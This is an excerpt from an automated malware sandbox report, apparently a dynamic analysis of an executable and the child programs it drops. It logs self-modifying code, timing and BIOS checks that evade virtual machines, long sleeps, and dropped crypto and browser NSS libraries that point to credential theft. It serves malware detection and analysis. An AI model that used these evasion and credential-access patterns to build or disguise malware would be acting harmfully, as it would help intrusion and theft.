Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Special instruction interceptor: First address: 29EBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Special instruction interceptor: First address: 29EC54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Special instruction interceptor: First address: 43E958 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Special instruction interceptor: First address: 4678F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Special instruction interceptor: First address: 44568D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C6EBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C6EC54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E0E958 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E378F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E1568D instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Special instruction interceptor: First address: E9EBAF instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Special instruction interceptor: First address: E9EC54 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Special instruction interceptor: First address: 103E958 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Special instruction interceptor: First address: 10678F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\FIJDGIJJKE.exe	Special instruction interceptor: First address: 104568D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Special instruction interceptor: First address: 9C4C74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Special instruction interceptor: First address: 81C71F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Special instruction interceptor: First address: A458BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Special instruction interceptor: First address: CB9AAC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Special instruction interceptor: First address: CB9B72 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Special instruction interceptor: First address: E60C9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Special instruction interceptor: First address: EEDA9E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe	Special instruction interceptor: First address: E5F74E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Special instruction interceptor: First address: 1360BFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Special instruction interceptor: First address: 15093F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Special instruction interceptor: First address: E08D07 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Special instruction interceptor: First address: E08D96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Special instruction interceptor: First address: E08D0D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Special instruction interceptor: First address: FAD3F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Special instruction interceptor: First address: 61FCCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Special instruction interceptor: First address: 61FDAC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Special instruction interceptor: First address: 61FCE8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Special instruction interceptor: First address: 7E8618 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Special instruction interceptor: First address: 7D06C7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe	Special instruction interceptor: First address: 15998AB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe	Special instruction interceptor: First address: 84C867 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Special instruction interceptor: First address: FABA84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Special instruction interceptor: First address: ACDBAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Special instruction interceptor: First address: ACDB4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Special instruction interceptor: First address: C5D3E8 instructions caused by: Self-modifying code

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Memory allocated: 206192C0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Memory allocated: 20631430000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Memory allocated: 266A4580000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Memory allocated: 266BC870000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Memory allocated: 4B50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Memory allocated: 4DB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Memory allocated: 6DB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Memory allocated: 1510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Memory allocated: 2EE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Memory allocated: 1510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Memory allocated: 4D10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Memory allocated: 4F90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Memory allocated: 4D90000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

Code function: 5_2_04A80C87 rdtsc

5_2_04A80C87

Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1069	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1012	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 978	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 798	Jump to behavior
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Window / User API: threadDelayed 3800
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Window / User API: threadDelayed 478
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window / User API: threadDelayed 753
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window / User API: threadDelayed 762
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window / User API: threadDelayed 753
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window / User API: threadDelayed 741
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window / User API: threadDelayed 732
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window / User API: threadDelayed 756
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window / User API: threadDelayed 753
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe	Window / User API: threadDelayed 728
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Window / User API: threadDelayed 948
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1409

Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_pytransform.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\win32\win32api.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\win32\win32trace.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Pythonwin\mfc140u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\win32\_win32sysloader.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Pythonwin\win32ui.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\random(4).exe TID: 7124	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe TID: 5064	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7660	Thread sleep count: 1069 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7660	Thread sleep time: -2139069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep count: 1012 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep time: -2025012s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7536	Thread sleep count: 99 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7536	Thread sleep time: -2970000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7644	Thread sleep count: 1015 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7644	Thread sleep time: -2031015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7656	Thread sleep count: 978 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7656	Thread sleep time: -1956978s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7640	Thread sleep count: 798 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7640	Thread sleep time: -1596798s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe TID: 8068	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe TID: 7212	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe TID: 7092	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe TID: 7092	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 1620	Thread sleep count: 753 > 30
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 1620	Thread sleep time: -1506753s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe TID: 344	Thread sleep count: 762 > 30
